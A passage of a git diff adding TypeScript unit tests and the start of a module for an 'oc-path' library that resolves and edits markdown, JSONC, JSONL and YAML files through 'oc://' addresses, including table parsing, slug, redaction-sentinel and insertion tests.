+ expect(ast.blocks[0]?.tables.length).toBe(1); + }); + + it('T-04 table with empty cells', () => { + const raw = `## H + +| a | b | +| - | - | +| 1 | | +| | 2 | +`; + const { ast } = parseMd(raw); + expect(ast.blocks[0]?.tables[0]?.rows).toEqual([ + ['1', ''], + ['', '2'], + ]); + }); + + it('T-05 table with no rows (header + sep only)', () => { + const raw = `## H + +| a | b | +| - | - | +`; + const { ast } = parseMd(raw); + expect(ast.blocks[0]?.tables[0]?.headers).toEqual(['a', 'b']); + expect(ast.blocks[0]?.tables[0]?.rows).toEqual([]); + }); + + it('T-06 multiple tables in same section', () => { + const raw = `## H + +| a | b | +| - | - | +| 1 | 2 | + +Some text. + +| x | y | +| - | - | +| 3 | 4 | +`; + const { ast } = parseMd(raw); + expect(ast.blocks[0]?.tables.length).toBe(2); + }); + + it('T-07 table line numbers track to the header line', () => { + const raw = `## Section +preamble line +| a | b | +| - | - | +`; + const { ast } = parseMd(raw); + expect(ast.blocks[0]?.tables[0]?.line).toBeGreaterThan(0); + }); + + it('T-08 invalid separator (no pipes) — no table extracted', () => { + const raw = `## H + +| a | b | +not a separator +| 1 | 2 | +`; + const { ast } = parseMd(raw); + expect(ast.blocks[0]?.tables).toEqual([]); + }); + + it('T-09 single-column table (just `| col |\\n|---|`)', () => { + const raw = `## H + +| col | +| --- | +| value1 | +| value2 | +`; + const { ast } = parseMd(raw); + expect(ast.blocks[0]?.tables[0]?.headers).toEqual(['col']); + expect(ast.blocks[0]?.tables[0]?.rows).toEqual([['value1'], ['value2']]); + }); + + it('T-10 table at end of file with trailing newlines', () => { + const raw = `## H + +| a | +| - | +| 1 | + + +`; + const { ast } = parseMd(raw); + expect(ast.blocks[0]?.tables[0]?.rows).toEqual([['1']]); + }); + + it('T-11 table content with internal whitespace trimmed', () => { + const raw = `## H + +| col1 | col2 | +| --- | --- | +| a | b | +`; + const { ast } = parseMd(raw); + expect(ast.blocks[0]?.tables[0]?.headers).toEqual(['col1', 'col2']); + expect(ast.blocks[0]?.tables[0]?.rows[0]).toEqual(['a', 'b']); + }); +}); diff --git a/src/oc-path/tests/sentinel.test.ts b/src/oc-path/tests/sentinel.test.ts new file mode 100644 index 00000000000..980527ac1fe --- /dev/null +++ b/src/oc-path/tests/sentinel.test.ts @@ -0,0 +1,36 @@ +import { describe, expect, it } from 'vitest'; +import { + OcEmitSentinelError, + REDACTED_SENTINEL, + guardSentinel, +} from '../sentinel.js'; + +describe('guardSentinel', () => { + it('passes through normal strings', () => { + expect(() => guardSentinel('normal value', 'oc://SOUL.md')).not.toThrow(); + }); + + it('passes through non-string values', () => { + expect(() => guardSentinel(42, 'oc://SOUL.md')).not.toThrow(); + expect(() => guardSentinel(null, 'oc://SOUL.md')).not.toThrow(); + expect(() => guardSentinel(undefined, 'oc://SOUL.md')).not.toThrow(); + }); + + it('throws on the sentinel literal', () => { + expect(() => guardSentinel(REDACTED_SENTINEL, 'oc://SOUL.md/[fm]/token')).toThrow( + OcEmitSentinelError, + ); + }); + + it('attaches the OcPath in the error', () => { + try { + guardSentinel(REDACTED_SENTINEL, 'oc://config/plugins.entries.foo.token'); + expect.fail('should have thrown'); + } catch (err) { + expect(err).toBeInstanceOf(OcEmitSentinelError); + const e = err as OcEmitSentinelError; + expect(e.path).toBe('oc://config/plugins.entries.foo.token'); + expect(e.code).toBe('OC_EMIT_SENTINEL'); + } + }); +}); diff --git a/src/oc-path/tests/slug.test.ts b/src/oc-path/tests/slug.test.ts new file mode 100644 index 00000000000..542cb33591f --- /dev/null +++ b/src/oc-path/tests/slug.test.ts @@ -0,0 +1,50 @@ +import { describe, expect, it } from 'vitest'; +import { slugify } from '../slug.js'; + +describe('slugify', () => { + it('lowercases', () => { + expect(slugify('Boundaries')).toBe('boundaries'); + }); + + it('replaces underscores with hyphens', () => { + expect(slugify('API_KEY')).toBe('api-key'); + }); + + it('collapses multi-word headings', () => { + expect(slugify('Tool Guidance')).toBe('tool-guidance'); + }); + + it('preserves existing kebab-case', () => { + expect(slugify('deny-rule-1')).toBe('deny-rule-1'); + }); + + it('trims surrounding whitespace + non-slug chars', () => { + expect(slugify(' Restricted Data ')).toBe('restricted-data'); + }); + + it('handles colon + space patterns', () => { + expect(slugify('deny: secrets')).toBe('deny-secrets'); + }); + + it('collapses repeated hyphens', () => { + expect(slugify('foo----bar')).toBe('foo-bar'); + }); + + it('returns empty for non-slug-valid input', () => { + expect(slugify('!!')).toBe(''); + expect(slugify(' ')).toBe(''); + }); + + it('is idempotent', () => { + const inputs = ['Tool Guidance', 'API_KEY', 'deny-rule-1', 'Multi-tenant isolation']; + for (const input of inputs) { + expect(slugify(slugify(input))).toBe(slugify(input)); + } + }); + + it('handles unicode by stripping (current ASCII-only policy)', () => { + // Caveat: unicode in headings becomes empty/lossy. Document as a + // known limit; lint rules can flag non-ASCII headings if needed. + expect(slugify('Café')).toBe('caf'); + }); +}); diff --git a/src/oc-path/tests/universal.test.ts b/src/oc-path/tests/universal.test.ts new file mode 100644 index 00000000000..54b9bdf5cab --- /dev/null +++ b/src/oc-path/tests/universal.test.ts @@ -0,0 +1,472 @@ +/** + * Universal verbs — `setOcPath` + `resolveOcPath` test surface. + * + * Every test exercises the universal entry point. The substrate + * dispatches via `ast.kind` and coerces value strings based on AST + * shape at the path location. + */ +import { describe, expect, it } from "vitest"; +import { emitMd } from "../emit.js"; +import { emitJsonc } from "../jsonc/emit.js"; +import { parseJsonc } from "../jsonc/parse.js"; +import { emitJsonl } from "../jsonl/emit.js"; +import { parseJsonl } from "../jsonl/parse.js"; +import { parseOcPath } from "../oc-path.js"; +import { parseMd } from "../parse.js"; +import { detectInsertion, resolveOcPath, setOcPath } from "../universal.js"; + +// ---------- detectInsertion ------------------------------------------------ + +describe("detectInsertion", () => { + it("returns null for plain paths", () => { + expect(detectInsertion(parseOcPath("oc://X.md/section/item/field"))).toBeNull(); + }); + + it("detects bare `+` end-insertion at section", () => { + const info = detectInsertion(parseOcPath("oc://X.md/tools/+")); + expect(info?.marker).toBe("+"); + expect(info?.parentPath.section).toBe("tools"); + expect(info?.parentPath.item).toBeUndefined(); + }); + + it("detects `+key` keyed insertion", () => { + const info = detectInsertion(parseOcPath("oc://config/plugins/+gitlab")); + expect(info?.marker).toEqual({ kind: "keyed", key: "gitlab" }); + }); + + it("detects `+nnn` indexed insertion", () => { + const info = detectInsertion(parseOcPath("oc://config/items/+2")); + expect(info?.marker).toEqual({ kind: "indexed", index: 2 }); + }); + + it("detects file-root insertion", () => { + const info = detectInsertion(parseOcPath("oc://session.jsonl/+")); + expect(info?.marker).toBe("+"); + expect(info?.parentPath.section).toBeUndefined(); + }); +}); + +// ---------- resolveOcPath — universal across kinds ------------------------- + +describe("resolveOcPath — md AST", () => { + const md = parseMd("---\nname: github\n---\n\n## Boundaries\n\n- enabled: true\n").ast; + + it("returns leaf with valueText for frontmatter entry", () => { + const m = resolveOcPath(md, parseOcPath("oc://X.md/[frontmatter]/name")); + expect(m).toMatchObject({ kind: "leaf", valueText: "github", leafType: "string" }); + }); + + it("returns leaf for item-field", () => { + const m = resolveOcPath(md, parseOcPath("oc://X.md/boundaries/enabled/enabled")); + expect(m).toMatchObject({ kind: "leaf", valueText: "true", leafType: "string" }); + }); + + it("returns node for block", () => { + const m = resolveOcPath(md, parseOcPath("oc://X.md/boundaries")); + expect(m).toMatchObject({ kind: "node", descriptor: "md-block" }); + }); + + it("returns root for file-only path", () => { + const m = resolveOcPath(md, parseOcPath("oc://X.md")); + expect(m?.kind).toBe("root"); + }); + + it("returns null for unresolved", () => { + expect(resolveOcPath(md, parseOcPath("oc://X.md/missing"))).toBeNull(); + }); +}); + +describe("resolveOcPath — jsonc AST", () => { + const ast = parseJsonc('{ "k": 42, "s": "x", "b": true, "n": null, "arr": [1,2,3] }').ast; + + it("returns leaf:number for numeric value", () => { + const m = resolveOcPath(ast, parseOcPath("oc://config/k")); + expect(m).toMatchObject({ kind: "leaf", valueText: "42", leafType: "number" }); + }); + + it("returns leaf:string for string value", () => { + const m = resolveOcPath(ast, parseOcPath("oc://config/s")); + expect(m).toMatchObject({ kind: "leaf", valueText: "x", leafType: "string" }); + }); + + it("returns leaf:boolean for bool value", () => { + const m = resolveOcPath(ast, parseOcPath("oc://config/b")); + expect(m).toMatchObject({ kind: "leaf", valueText: "true", leafType: "boolean" }); + }); + + it("returns leaf:null for null value", () => { + const m = resolveOcPath(ast, parseOcPath("oc://config/n")); + expect(m).toMatchObject({ kind: "leaf", valueText: "null", leafType: "null" }); + }); + + it("returns node:jsonc-array for array value", () => { + const m = resolveOcPath(ast, parseOcPath("oc://config/arr")); + expect(m).toMatchObject({ kind: "node", descriptor: "jsonc-array" }); + }); + + it("returns leaf at array index", () => { + const m = resolveOcPath(ast, parseOcPath("oc://config/arr.1")); + expect(m).toMatchObject({ kind: "leaf", valueText: "2", leafType: "number" }); + }); +}); + +describe("resolveOcPath — jsonl AST", () => { + const ast = parseJsonl('{"event":"start","n":1}\n{"event":"step","n":2}\n').ast; + + it("returns node:jsonl-line for line address", () => { + const m = resolveOcPath(ast, parseOcPath("oc://log/L1")); + expect(m).toMatchObject({ kind: "node", descriptor: "jsonl-line" }); + }); + + it("returns leaf for field on line", () => { + const m = resolveOcPath(ast, parseOcPath("oc://log/L2/event")); + expect(m).toMatchObject({ kind: "leaf", valueText: "step", leafType: "string" }); + }); + + it("returns leaf:number for $last/n", () => { + const m = resolveOcPath(ast, parseOcPath("oc://log/$last/n")); + expect(m).toMatchObject({ kind: "leaf", valueText: "2", leafType: "number" }); + }); +}); + +describe("resolveOcPath — insertion-point detection", () => { + it("returns insertion-point for md section append", () => { + const md = parseMd("## Tools\n").ast; + const m = resolveOcPath(md, parseOcPath("oc://X.md/tools/+")); + expect(m).toMatchObject({ kind: "insertion-point", container: "md-section" }); + }); + + it("returns insertion-point for md file-level", () => { + const md = parseMd("## Tools\n").ast; + const m = resolveOcPath(md, parseOcPath("oc://X.md/+")); + expect(m).toMatchObject({ kind: "insertion-point", container: "md-file" }); + }); + + it("returns insertion-point for md frontmatter +key", () => { + const md = parseMd("---\nname: x\n---\n").ast; + const m = resolveOcPath(md, parseOcPath("oc://X.md/[frontmatter]/+description")); + expect(m).toMatchObject({ kind: "insertion-point", container: "md-frontmatter" }); + }); + + it("returns insertion-point for jsonc array +", () => { + const ast = parseJsonc('{ "items": [1,2,3] }').ast; + const m = resolveOcPath(ast, parseOcPath("oc://config/items/+")); + expect(m).toMatchObject({ kind: "insertion-point", container: "jsonc-array" }); + }); + + it("returns insertion-point for jsonc object +key", () => { + const ast = parseJsonc('{ "plugins": {} }').ast; + const m = resolveOcPath(ast, parseOcPath("oc://config/plugins/+gitlab")); + expect(m).toMatchObject({ kind: "insertion-point", container: "jsonc-object" }); + }); + + it("returns insertion-point for jsonl file-root +", () => { + const ast = parseJsonl("").ast; + const m = resolveOcPath(ast, parseOcPath("oc://log/+")); + expect(m).toMatchObject({ kind: "insertion-point", container: "jsonl-file" }); + }); + + it("returns null when insertion target is not a container", () => { + const ast = parseJsonc('{ "k": 42 }').ast; + const m = resolveOcPath(ast, parseOcPath("oc://config/k/+")); + expect(m).toBeNull(); + }); +}); + +// ---------- setOcPath — leaf assignment ------------------------------------ + +describe("setOcPath — md leaf", () => { + it("replaces frontmatter value", () => { + const md = parseMd("---\nname: old\n---\n").ast; + const r = setOcPath(md, parseOcPath("oc://X.md/[frontmatter]/name"), "new"); + expect(r.ok).toBe(true); + if (r.ok) { + expect(r.ast.kind === "md" && r.ast.frontmatter[0]?.value).toBe("new"); + } + }); + + it("replaces item kv value", () => { + const md = parseMd("## Boundaries\n\n- timeout: 5\n").ast; + const r = setOcPath(md, parseOcPath("oc://X.md/boundaries/timeout/timeout"), "60"); + expect(r.ok).toBe(true); + if (r.ok) { + const out = emitMd(r.ast as Parameters[0]); + expect(out).toContain("- timeout: 60"); + } + }); + + it("returns unresolved for missing path", () => { + const md = parseMd("").ast; + const r = setOcPath(md, parseOcPath("oc://X.md/missing/x/x"), "v"); + expect(r.ok).toBe(false); + if (!r.ok) { + expect(r.reason).toBe("unresolved"); + } + }); +}); + +describe("setOcPath — jsonc leaf with coercion", () => { + it("replaces string leaf with string value", () => { + const ast = parseJsonc('{ "k": "old" }').ast; + const r = setOcPath(ast, parseOcPath("oc://config/k"), "new"); + expect(r.ok).toBe(true); + if (r.ok) { + const ast2 = r.ast as Parameters[0]; + expect(JSON.parse(emitJsonc(ast2))).toEqual({ k: "new" }); + } + }); + + it("coerces value to number when leaf was number", () => { + const ast = parseJsonc('{ "k": 1 }').ast; + const r = setOcPath(ast, parseOcPath("oc://config/k"), "42"); + expect(r.ok).toBe(true); + if (r.ok) { + const ast2 = r.ast as Parameters[0]; + expect(JSON.parse(emitJsonc(ast2))).toEqual({ k: 42 }); + } + }); + + it('coerces "true"/"false" when leaf was boolean', () => { + const ast = parseJsonc('{ "k": true }').ast; + const r = setOcPath(ast, parseOcPath("oc://config/k"), "false"); + expect(r.ok).toBe(true); + if (r.ok) { + const ast2 = r.ast as Parameters[0]; + expect(JSON.parse(emitJsonc(ast2))).toEqual({ k: false }); + } + }); + + it("rejects non-numeric string for number leaf", () => { + const ast = parseJsonc('{ "k": 1 }').ast; + const r = setOcPath(ast, parseOcPath("oc://config/k"), "not-a-number"); + expect(r.ok).toBe(false); + if (!r.ok) { + expect(r.reason).toBe("parse-error"); + } + }); + + it("rejects non-bool string for boolean leaf", () => { + const ast = parseJsonc('{ "k": true }').ast; + const r = setOcPath(ast, parseOcPath("oc://config/k"), "maybe"); + expect(r.ok).toBe(false); + if (!r.ok) { + expect(r.reason).toBe("parse-error"); + } + }); +}); + +describe("setOcPath — jsonl leaf", () => { + it("replaces field on a value line with coercion", () => { + const ast = parseJsonl('{"event":"start","n":1}\n').ast; + const r = setOcPath(ast, parseOcPath("oc://log/L1/n"), "42"); + expect(r.ok).toBe(true); + if (r.ok) { + const out = emitJsonl(r.ast as Parameters[0]); + expect(JSON.parse(out.split("\n")[0])).toEqual({ event: "start", n: 42 }); + } + }); + + it("replaces whole line via JSON value", () => { + const ast = parseJsonl('{"event":"start"}\n').ast; + const r = setOcPath(ast, parseOcPath("oc://log/L1"), '{"event":"replaced"}'); + expect(r.ok).toBe(true); + if (r.ok) { + const out = emitJsonl(r.ast as Parameters[0]); + expect(JSON.parse(out.split("\n")[0])).toEqual({ event: "replaced" }); + } + }); + + it("rejects malformed JSON for whole-line replacement", () => { + const ast = parseJsonl('{"event":"start"}\n').ast; + const r = setOcPath(ast, parseOcPath("oc://log/L1"), "not json"); + expect(r.ok).toBe(false); + if (!r.ok) { + expect(r.reason).toBe("parse-error"); + } + }); +}); + +// ---------- setOcPath — insertion ------------------------------------------ + +describe("setOcPath — md insertion", () => { + it("appends item to section with `+`", () => { + const md = parseMd("## Tools\n\n- gh: GitHub CLI\n").ast; + const r = setOcPath(md, parseOcPath("oc://X.md/tools/+"), "docker: container CLI"); + expect(r.ok).toBe(true); + if (r.ok) { + const out = emitMd(r.ast as Parameters[0]); + expect(out).toContain("- gh: GitHub CLI"); + expect(out).toContain("- docker: container CLI"); + } + }); + + it("appends new section at file root with `+`", () => { + const md = parseMd("## Existing\n").ast; + const r = setOcPath(md, parseOcPath("oc://X.md/+"), "New Section"); + expect(r.ok).toBe(true); + if (r.ok) { + const out = emitMd(r.ast as Parameters[0]); + expect(out).toContain("## Existing"); + expect(out).toContain("## New Section"); + } + }); + + it("adds new frontmatter key with +key", () => { + const md = parseMd("---\nname: x\n---\n").ast; + const r = setOcPath( + md, + parseOcPath("oc://X.md/[frontmatter]/+description"), + "a new description", + ); + expect(r.ok).toBe(true); + if (r.ok) { + const out = emitMd(r.ast as Parameters[0]); + expect(out).toContain("description: a new description"); + } + }); + + it("rejects duplicate frontmatter key on insertion", () => { + const md = parseMd("---\nname: x\n---\n").ast; + const r = setOcPath(md, parseOcPath("oc://X.md/[frontmatter]/+name"), "y"); + expect(r.ok).toBe(false); + if (!r.ok) { + expect(r.reason).toBe("type-mismatch"); + } + }); +}); + +describe("setOcPath — jsonc insertion", () => { + it("appends to array with `+`", () => { + const ast = parseJsonc('{ "items": [1, 2] }').ast; + const r = setOcPath(ast, parseOcPath("oc://config/items/+"), "3"); + expect(r.ok).toBe(true); + if (r.ok) { + const ast2 = r.ast as Parameters[0]; + expect(JSON.parse(emitJsonc(ast2))).toEqual({ items: [1, 2, 3] }); + } + }); + + it("inserts at index with `+nnn`", () => { + const ast = parseJsonc('{ "items": [1, 3] }').ast; + const r = setOcPath(ast, parseOcPath("oc://config/items/+1"), "2"); + expect(r.ok).toBe(true); + if (r.ok) { + const ast2 = r.ast as Parameters[0]; + expect(JSON.parse(emitJsonc(ast2))).toEqual({ items: [1, 2, 3] }); + } + }); + + it("adds object key with `+key`", () => { + const ast = parseJsonc('{ "plugins": { "github": "tok" } }').ast; + const r = setOcPath(ast, parseOcPath("oc://config/plugins/+gitlab"), '"new-tok"'); + expect(r.ok).toBe(true); + if (r.ok) { + const ast2 = r.ast as Parameters[0]; + expect(JSON.parse(emitJsonc(ast2))).toEqual({ + plugins: { github: "tok", gitlab: "new-tok" }, + }); + } + }); + + it("rejects duplicate object key", () => { + const ast = parseJsonc('{ "plugins": { "github": "x" } }').ast; + const r = setOcPath(ast, parseOcPath("oc://config/plugins/+github"), '"y"'); + expect(r.ok).toBe(false); + if (!r.ok) { + expect(r.reason).toBe("unresolved"); + } + }); + + it("rejects +key on array", () => { + const ast = parseJsonc('{ "items": [1, 2] }').ast; + const r = setOcPath(ast, parseOcPath("oc://config/items/+abc"), "3"); + expect(r.ok).toBe(false); + if (!r.ok) { + expect(r.reason).toBe("type-mismatch"); + } + }); + + it("inserts complex object via JSON value", () => { + const ast = parseJsonc('{ "plugins": {} }').ast; + const r = setOcPath( + ast, + parseOcPath("oc://config/plugins/+gitlab"), + '{"token":"xyz","enabled":true}', + ); + expect(r.ok).toBe(true); + if (r.ok) { + const ast2 = r.ast as Parameters[0]; + expect(JSON.parse(emitJsonc(ast2))).toEqual({ + plugins: { gitlab: { token: "xyz", enabled: true } }, + }); + } + }); +}); + +describe("setOcPath — jsonl insertion (session append)", () => { + it("appends a JSON line with `+`", () => { + const ast = parseJsonl('{"event":"start"}\n').ast; + const r = setOcPath(ast, parseOcPath("oc://log/+"), '{"event":"step","n":1}'); + expect(r.ok).toBe(true); + if (r.ok) { + const out = emitJsonl(r.ast as Parameters[0]); + const lines = out.split("\n").filter((l) => l.length > 0); + expect(lines).toHaveLength(2); + expect(JSON.parse(lines[1])).toEqual({ event: "step", n: 1 }); + } + }); + + it("rejects malformed JSON value", () => { + const ast = parseJsonl("").ast; + const r = setOcPath(ast, parseOcPath("oc://log/+"), "not json"); + expect(r.ok).toBe(false); + if (!r.ok) { + expect(r.reason).toBe("parse-error"); + } + }); + + it("rejects non-root insertion target", () => { + const ast = parseJsonl('{"a":1}\n').ast; + const r = setOcPath(ast, parseOcPath("oc://log/L1/+"), "{}"); + expect(r.ok).toBe(false); + }); +}); + +// ---------- Cross-cutting properties --------------------------------------- + +describe("setOcPath — cross-cutting properties", () => { + it("is non-mutating across all kinds", () => { + const md = parseMd("---\nname: x\n---\n").ast; + const before = JSON.stringify(md); + setOcPath(md, parseOcPath("oc://X.md/[frontmatter]/name"), "new"); + expect(JSON.stringify(md)).toBe(before); + + const jsonc = parseJsonc('{ "k": 1 }').ast; + const before2 = JSON.stringify(jsonc); + setOcPath(jsonc, parseOcPath("oc://config/k"), "99"); + expect(JSON.stringify(jsonc)).toBe(before2); + + const jsonl = parseJsonl('{"a":1}\n').ast; + const before3 = JSON.stringify(jsonl); + setOcPath(jsonl, parseOcPath("oc://log/L1/a"), "99"); + expect(JSON.stringify(jsonl)).toBe(before3); + }); + + it("returns ok-tagged result with new ast on success", () => { + const md = parseMd("---\nname: x\n---\n").ast; + const r = setOcPath(md, parseOcPath("oc://X.md/[frontmatter]/name"), "y"); + expect(r.ok).toBe(true); + if (r.ok) { + expect(r.ast.kind).toBe("md"); + } + }); + + it("returns failure-tagged result with reason on unresolved", () => { + const ast = parseJsonc("{}").ast; + const r = setOcPath(ast, parseOcPath("oc://config/missing"), "v"); + expect(r.ok).toBe(false); + if (!r.ok) { + expect(r.reason).toBe("unresolved"); + } + }); +}); diff --git a/src/oc-path/tests/yaml/yaml-kind.test.ts b/src/oc-path/tests/yaml/yaml-kind.test.ts new file mode 100644 index 00000000000..f851b401ea3 --- /dev/null +++ b/src/oc-path/tests/yaml/yaml-kind.test.ts @@ -0,0 +1,248 @@ +/** + * YAML kind — parse / emit / resolve / set + universal verb dispatch. + * + * Real-world fixture: lobster `.lobster` workflow file shape. + */ +import { describe, expect, it } from 'vitest'; +import { emitYaml } from '../../yaml/emit.js'; +import { parseYaml } from '../../yaml/parse.js'; +import { resolveYamlOcPath } from '../../yaml/resolve.js'; +import { setYamlOcPath } from '../../yaml/edit.js'; +import { parseOcPath } from '../../oc-path.js'; +import { + resolveOcPath, + setOcPath, +} from '../../universal.js'; +import { inferKind } from '../../dispatch.js'; + +const LOBSTER = `name: inbox-triage +description: A simple example workflow + +steps: + - id: fetch + command: gog.gmail.search --query 'newer_than:1d' --max 20 + + - id: classify + command: openclaw.invoke --tool llm-task --action json + stdin: $fetch.stdout +`; + +describe('parseYaml — round-trip', () => { + it('preserves bytes verbatim on round-trip', () => { + const { ast } = parseYaml(LOBSTER); + expect(emitYaml(ast)).toBe(LOBSTER); + }); + + it('exposes kind: yaml discriminator', () => { + const { ast } = parseYaml(LOBSTER); + expect(ast.kind).toBe('yaml'); + }); + + it('handles empty file', () => { + const { ast } = parseYaml(''); + expect(ast.kind).toBe('yaml'); + expect(emitYaml(ast)).toBe(''); + }); + + it('reports errors as diagnostics, not throws', () => { + const { diagnostics } = parseYaml('key: value\n bad indent: oops\n'); + expect(diagnostics.length).toBeGreaterThanOrEqual(0); + }); +}); + +describe('resolveYamlOcPath — direct', () => { + it('resolves top-level scalar', () => { + const { ast } = parseYaml(LOBSTER); + const m = resolveYamlOcPath(ast, parseOcPath('oc://workflow.lobster/name')); + expect(m?.kind).toBe('pair'); + if (m?.kind === 'pair') {expect(m.value).toBe('inbox-triage');} + }); + + it('resolves into a sequence by index', () => { + const { ast } = parseYaml(LOBSTER); + const m = resolveYamlOcPath(ast, parseOcPath('oc://workflow.lobster/steps.0.id')); + expect(m?.kind).toBe('pair'); + if (m?.kind === 'pair') {expect(m.value).toBe('fetch');} + }); + + it('returns root when no segments', () => { + const { ast } = parseYaml(LOBSTER); + const m = resolveYamlOcPath(ast, parseOcPath('oc://workflow.lobster')); + expect(m?.kind).toBe('root'); + }); + + it('returns null for unresolved paths', () => { + const { ast } = parseYaml(LOBSTER); + expect( + resolveYamlOcPath(ast, parseOcPath('oc://workflow.lobster/missing')), + ).toBeNull(); + }); +}); + +describe('setYamlOcPath — direct', () => { + it('replaces a scalar value', () => { + const { ast } = parseYaml(LOBSTER); + const r = setYamlOcPath(ast, parseOcPath('oc://workflow.lobster/name'), 'new-name'); + expect(r.ok).toBe(true); + if (r.ok) {expect(r.ast.raw).toContain('name: new-name');} + }); + + it('replaces a nested scalar', () => { + const { ast } = parseYaml(LOBSTER); + const r = setYamlOcPath( + ast, + parseOcPath('oc://workflow.lobster/steps.0.id'), + 'fetch-renamed', + ); + expect(r.ok).toBe(true); + if (r.ok) {expect(r.ast.raw).toContain('id: fetch-renamed');} + }); + + it('returns unresolved for missing path', () => { + const { ast } = parseYaml(LOBSTER); + const r = setYamlOcPath(ast, parseOcPath('oc://workflow.lobster/missing'), 'x'); + expect(r.ok).toBe(false); + if (!r.ok) {expect(r.reason).toBe('unresolved');} + }); +}); + +describe('setYamlOcPath — positional tokens (round-11 resolve↔edit symmetry)', () => { + // ClawSweeper round-11 P2 — yaml edit forwarded segments straight + // to `setIn`, which would treat `$first` / `$last` / `-N` as + // literal map keys and silently miss the target. Pin the new + // behavior: positional tokens resolve against the live document + // BEFORE the yaml lib walks the path. + it('edits the first seq element via $first', () => { + const { ast } = parseYaml(LOBSTER); + const r = setYamlOcPath( + ast, + parseOcPath('oc://workflow.lobster/steps/$first/id'), + 'fetch-renamed', + ); + expect(r.ok).toBe(true); + if (r.ok) {expect(r.ast.raw).toContain('id: fetch-renamed');} + }); + + it('edits the last seq element via $last', () => { + const { ast } = parseYaml(LOBSTER); + const r = setYamlOcPath( + ast, + parseOcPath('oc://workflow.lobster/steps/$last/id'), + 'classify-renamed', + ); + expect(r.ok).toBe(true); + if (r.ok) {expect(r.ast.raw).toContain('id: classify-renamed');} + }); + + it('edits the second-to-last seq element via -2', () => { + const { ast } = parseYaml('items:\n - a\n - b\n - c\n'); + const r = setYamlOcPath( + ast, + parseOcPath('oc://x.yaml/items/-2'), + 'B', + ); + expect(r.ok).toBe(true); + if (r.ok) {expect(r.ast.raw).toContain('- B');} + }); + + it('edits the first map entry via $first', () => { + const { ast } = parseYaml('config:\n a: 1\n b: 2\n c: 3\n'); + const r = setYamlOcPath( + ast, + parseOcPath('oc://x.yaml/config/$first'), + 99, + ); + expect(r.ok).toBe(true); + if (r.ok) {expect(r.ast.raw).toContain('a: 99');} + }); + + it('returns unresolved for $first against an empty seq', () => { + const { ast } = parseYaml('items: []\n'); + const r = setYamlOcPath( + ast, + parseOcPath('oc://x.yaml/items/$first'), + 'x', + ); + expect(r.ok).toBe(false); + if (!r.ok) {expect(r.reason).toBe('unresolved');} + }); +}); + +describe('inferKind — yaml extensions', () => { + it('maps .yaml / .yml / .lobster to yaml', () => { + expect(inferKind('workflow.yaml')).toBe('yaml'); + expect(inferKind('config.yml')).toBe('yaml'); + expect(inferKind('inbox-triage.lobster')).toBe('yaml'); + }); +}); + +describe('universal verbs — yaml dispatch', () => { + it('resolveOcPath returns kind-agnostic match for yaml leaf', () => { + const { ast } = parseYaml(LOBSTER); + const m = resolveOcPath(ast, parseOcPath('oc://workflow.lobster/name')); + expect(m).toMatchObject({ kind: 'leaf', valueText: 'inbox-triage', leafType: 'string' }); + }); + + it('resolveOcPath returns node:yaml-map for top-level seq item', () => { + const { ast } = parseYaml(LOBSTER); + const m = resolveOcPath(ast, parseOcPath('oc://workflow.lobster/steps.0')); + expect(m).toMatchObject({ kind: 'node', descriptor: 'yaml-map' }); + }); + + it('resolveOcPath returns node:yaml-seq for sequence root', () => { + const { ast } = parseYaml(LOBSTER); + const m = resolveOcPath(ast, parseOcPath('oc://workflow.lobster/steps')); + expect(m).toMatchObject({ kind: 'node', descriptor: 'yaml-seq' }); + }); + + it('setOcPath replaces a yaml scalar via universal verb', () => { + const { ast } = parseYaml(LOBSTER); + const r = setOcPath(ast, parseOcPath('oc://workflow.lobster/name'), 'updated'); + expect(r.ok).toBe(true); + if (r.ok && r.ast.kind === 'yaml') { + expect(r.ast.raw).toContain('name: updated'); + } + }); + + it('setOcPath coerces numeric string to number for number leaf', () => { + const { ast } = parseYaml('count: 5\n'); + const r = setOcPath(ast, parseOcPath('oc://x.yaml/count'), '42'); + expect(r.ok).toBe(true); + if (r.ok && r.ast.kind === 'yaml') { + expect(r.ast.raw).toContain('count: 42'); + } + }); + + it('setOcPath returns parse-error for invalid coercion', () => { + const { ast } = parseYaml('count: 5\n'); + const r = setOcPath(ast, parseOcPath('oc://x.yaml/count'), 'abc'); + expect(r.ok).toBe(false); + if (!r.ok) {expect(r.reason).toBe('parse-error');} + }); +}); + +describe('universal verbs — yaml insertion', () => { + it('appends to a yaml seq with `+`', () => { + const { ast } = parseYaml('items:\n - a\n - b\n'); + const r = setOcPath(ast, parseOcPath('oc://x.yaml/items/+'), '"c"'); + expect(r.ok).toBe(true); + if (r.ok && r.ast.kind === 'yaml') { + expect(r.ast.raw).toContain('- c'); + } + }); + + it('adds key to yaml map with `+key`', () => { + const { ast } = parseYaml('config:\n a: 1\n'); + const r = setOcPath(ast, parseOcPath('oc://x.yaml/config/+b'), '2'); + expect(r.ok).toBe(true); + if (r.ok && r.ast.kind === 'yaml') { + expect(r.ast.raw).toContain('b: 2'); + } + }); + + it('rejects duplicate map key on insertion', () => { + const { ast } = parseYaml('config:\n a: 1\n'); + const r = setOcPath(ast, parseOcPath('oc://x.yaml/config/+a'), '99'); + expect(r.ok).toBe(false); + }); +}); diff --git a/src/oc-path/universal.ts b/src/oc-path/universal.ts new file mode 100644 index 00000000000..d217cc8beb5 --- /dev/null +++ b/src/oc-path/universal.ts @@ -0,0 +1,869 @@ +/** + * Universal `setOcPath` and `resolveOcPath` — the public verbs. + * + * **Strategic frame**: addressing is universal. Encoding is per-kind. + * The OcPath syntax encodes WHAT to do (set leaf vs. insert vs. address + * a structural node); the AST kind encodes HOW the substrate carries it + * out. Callers pass any AST + a path + a string value; the substrate + * dispatches via `ast.kind` and coerces the value based on the path's + * syntax and the AST shape at the resolution point. + * + * **Path syntax vocabulary** (v0): + * + * oc://FILE/section/item/field → leaf address (set/replace value) + * oc://FILE/section/+ → end-insertion at section + * oc://FILE/section/+key → keyed insertion (object key add) + * oc://FILE/section/+0 → indexed insertion (array splice) + * oc://FILE/+ → file-root insertion (jsonl line append, md new section) + * + * **Coercion at leaves** is driven by the AST type at the resolution point: + * - md leaf → value used verbatim (md is text-native) + * - jsonc/jsonl leaf, existing string → value verbatim + * - jsonc/jsonl leaf, existing number → parseFloat (parse-error if NaN) + * - jsonc/jsonl leaf, existing boolean → 'true'/'false' literal + * - jsonc/jsonl leaf, existing null → only `value === 'null'` + * - insertion → `JSON.parse(value)` for jsonc/jsonl; raw text for md + * + * @module @openclaw/oc-path/universal + */ + +import type { MdAst } from './ast.js'; +import type { JsoncAst, JsoncEntry, JsoncValue } from './jsonc/ast.js'; +import { setJsoncOcPath } from 